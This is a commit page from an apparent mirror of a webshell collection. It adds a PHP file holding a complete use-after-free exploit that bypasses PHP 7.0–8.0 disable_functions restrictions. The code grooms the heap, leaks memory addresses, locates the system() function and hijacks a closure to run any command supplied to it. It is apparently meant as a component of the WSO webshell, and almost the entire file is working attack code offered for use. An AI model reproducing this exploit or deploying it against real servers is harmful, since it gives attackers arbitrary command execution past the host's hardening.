mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
parent
1c8c51e99e
commit
6e6d0feb89
1 changed files with 203 additions and 0 deletions
203
php/wso-ng/wsoExGently.php
Normal file
203
php/wso-ng/wsoExGently.php
Normal file
|
@ -0,0 +1,203 @@
|
||||||
|
|
||||||
|
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
|
||||||
|
#
|
||||||
|
# Bug: https://bugs.php.net/bug.php?id=54350
|
||||||
|
#
|
||||||
|
# This exploit should work on all PHP 7.0-8.0 versions
|
||||||
|
# released as of 2021-10-06
|
||||||
|
#
|
||||||
|
# Author: https://github.com/mm0r1
|
||||||
|
|
||||||
|
function wsoExGently($cmd) {
|
||||||
|
define('LOGGING', false);
|
||||||
|
define('CHUNK_DATA_SIZE', 0x60);
|
||||||
|
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
|
||||||
|
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
|
||||||
|
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
|
||||||
|
define('CMD', $cmd);
|
||||||
|
for($i = 0; $i < 10; $i++) {
|
||||||
|
$groom[] = Pwn::alloc(STRING_SIZE);
|
||||||
|
}
|
||||||
|
$filtername = 'pwn_filter'.rand(1e4,1e5);
|
||||||
|
stream_filter_register($filtername, 'Pwn');
|
||||||
|
$fd = fopen('php://memory', 'w');
|
||||||
|
stream_filter_append($fd, $filtername);
|
||||||
|
fwrite($fd, 'x');
|
||||||
|
fclose($fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
class Helper { public $a, $b, $c; }
|
||||||
|
class Pwn extends php_user_filter {
|
||||||
|
private $abc, $abc_addr;
|
||||||
|
private $helper, $helper_addr, $helper_off;
|
||||||
|
private $uafp, $hfp;
|
||||||
|
|
||||||
|
public function filter($in, $out, &$consumed, $closing) {
|
||||||
|
if($closing) return;
|
||||||
|
stream_bucket_make_writeable($in);
|
||||||
|
$this->filtername = Pwn::alloc(STRING_SIZE);
|
||||||
|
fclose($this->stream);
|
||||||
|
$this->go();
|
||||||
|
return PSFS_PASS_ON;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function go() {
|
||||||
|
$this->abc = &$this->filtername;
|
||||||
|
|
||||||
|
$this->make_uaf_obj();
|
||||||
|
|
||||||
|
$this->helper = new Helper;
|
||||||
|
$this->helper->b = function($x) {};
|
||||||
|
|
||||||
|
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
|
||||||
|
$this->log("helper @ 0x%x", $this->helper_addr);
|
||||||
|
|
||||||
|
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
|
||||||
|
$this->log("abc @ 0x%x", $this->abc_addr);
|
||||||
|
|
||||||
|
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
|
||||||
|
|
||||||
|
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
|
||||||
|
$this->log("helper handlers @ 0x%x", $helper_handlers);
|
||||||
|
|
||||||
|
$this->prepare_leaker();
|
||||||
|
|
||||||
|
$binary_leak = $this->read($helper_handlers + 8);
|
||||||
|
$this->log("binary leak @ 0x%x", $binary_leak);
|
||||||
|
$this->prepare_cleanup($binary_leak);
|
||||||
|
|
||||||
|
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
|
||||||
|
$this->log("real closure @ 0x%x", $closure_addr);
|
||||||
|
|
||||||
|
$closure_ce = $this->read($closure_addr + 0x10);
|
||||||
|
$this->log("closure class_entry @ 0x%x", $closure_ce);
|
||||||
|
|
||||||
|
$basic_funcs = $this->get_basic_funcs($closure_ce);
|
||||||
|
$this->log("basic_functions @ 0x%x", $basic_funcs);
|
||||||
|
|
||||||
|
$zif_system = $this->get_system($basic_funcs);
|
||||||
|
$this->log("zif_system @ 0x%x", $zif_system);
|
||||||
|
|
||||||
|
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
|
||||||
|
for($i = 0; $i < 0x138; $i += 8) {
|
||||||
|
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
|
||||||
|
}
|
||||||
|
$this->write($fake_closure_off + 0x38, 1, 4);
|
||||||
|
|
||||||
|
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
|
||||||
|
$this->write($fake_closure_off + $handler_offset, $zif_system);
|
||||||
|
|
||||||
|
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
|
||||||
|
$this->write($this->helper_off + 0x38, $fake_closure_addr);
|
||||||
|
$this->log("fake closure @ 0x%x", $fake_closure_addr);
|
||||||
|
|
||||||
|
$this->cleanup();
|
||||||
|
($this->helper->b)(CMD);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function make_uaf_obj() {
|
||||||
|
$this->uafp = fopen('php://memory', 'w');
|
||||||
|
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
|
||||||
|
for($i = 0; $i < STRING_SIZE; $i++) {
|
||||||
|
fwrite($this->uafp, "\x00");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function prepare_leaker() {
|
||||||
|
$str_off = $this->helper_off + CHUNK_SIZE + 8;
|
||||||
|
$this->write($str_off, 2);
|
||||||
|
$this->write($str_off + 0x10, 6);
|
||||||
|
|
||||||
|
$val_off = $this->helper_off + 0x48;
|
||||||
|
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
|
||||||
|
$this->write($val_off + 8, 0xA);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function prepare_cleanup($binary_leak) {
|
||||||
|
$ret_gadget = $binary_leak;
|
||||||
|
do {
|
||||||
|
--$ret_gadget;
|
||||||
|
} while($this->read($ret_gadget, 1) !== 0xC3);
|
||||||
|
$this->log("ret gadget = 0x%x", $ret_gadget);
|
||||||
|
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
|
||||||
|
$this->write(8, $ret_gadget);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function read($addr, $n = 8) {
|
||||||
|
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
|
||||||
|
$value = strlen($this->helper->c);
|
||||||
|
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function write($p, $v, $n = 8) {
|
||||||
|
for($i = 0; $i < $n; $i++) {
|
||||||
|
$this->abc[$p + $i] = chr($v & 0xff);
|
||||||
|
$v >>= 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function get_basic_funcs($addr) {
|
||||||
|
while(true) {
|
||||||
|
$addr -= 0x10;
|
||||||
|
if($this->read($addr, 4) === 0xA8 &&
|
||||||
|
in_array($this->read($addr + 4, 4),
|
||||||
|
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
|
||||||
|
$module_name_addr = $this->read($addr + 0x20);
|
||||||
|
$module_name = $this->read($module_name_addr);
|
||||||
|
if($module_name === 0x647261646e617473) {
|
||||||
|
$this->log("standard module @ 0x%x", $addr);
|
||||||
|
return $this->read($addr + 0x28);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function get_system($basic_funcs) {
|
||||||
|
$addr = $basic_funcs;
|
||||||
|
do {
|
||||||
|
$f_entry = $this->read($addr);
|
||||||
|
$f_name = $this->read($f_entry, 6);
|
||||||
|
if($f_name === 0x6d6574737973) {
|
||||||
|
return $this->read($addr + 8);
|
||||||
|
}
|
||||||
|
$addr += 0x20;
|
||||||
|
} while($f_entry !== 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup() {
|
||||||
|
$this->hfp = fopen('php://memory', 'w');
|
||||||
|
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
|
||||||
|
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
|
||||||
|
fwrite($this->hfp, "\x00");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function str2ptr($p = 0, $n = 8) {
|
||||||
|
$address = 0;
|
||||||
|
for($j = $n - 1; $j >= 0; $j--) {
|
||||||
|
$address <<= 8;
|
||||||
|
$address |= ord($this->abc[$p + $j]);
|
||||||
|
}
|
||||||
|
return $address;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function ptr2str($ptr, $n = 8) {
|
||||||
|
$out = '';
|
||||||
|
for ($i = 0; $i < $n; $i++) {
|
||||||
|
$out .= chr($ptr & 0xff);
|
||||||
|
$ptr >>= 8;
|
||||||
|
}
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function log($format, $val = '') {
|
||||||
|
if(LOGGING) {
|
||||||
|
printf("{$format}\n", $val);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static function alloc($size) {
|
||||||
|
return str_shuffle(str_repeat('A', $size));
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in a new issue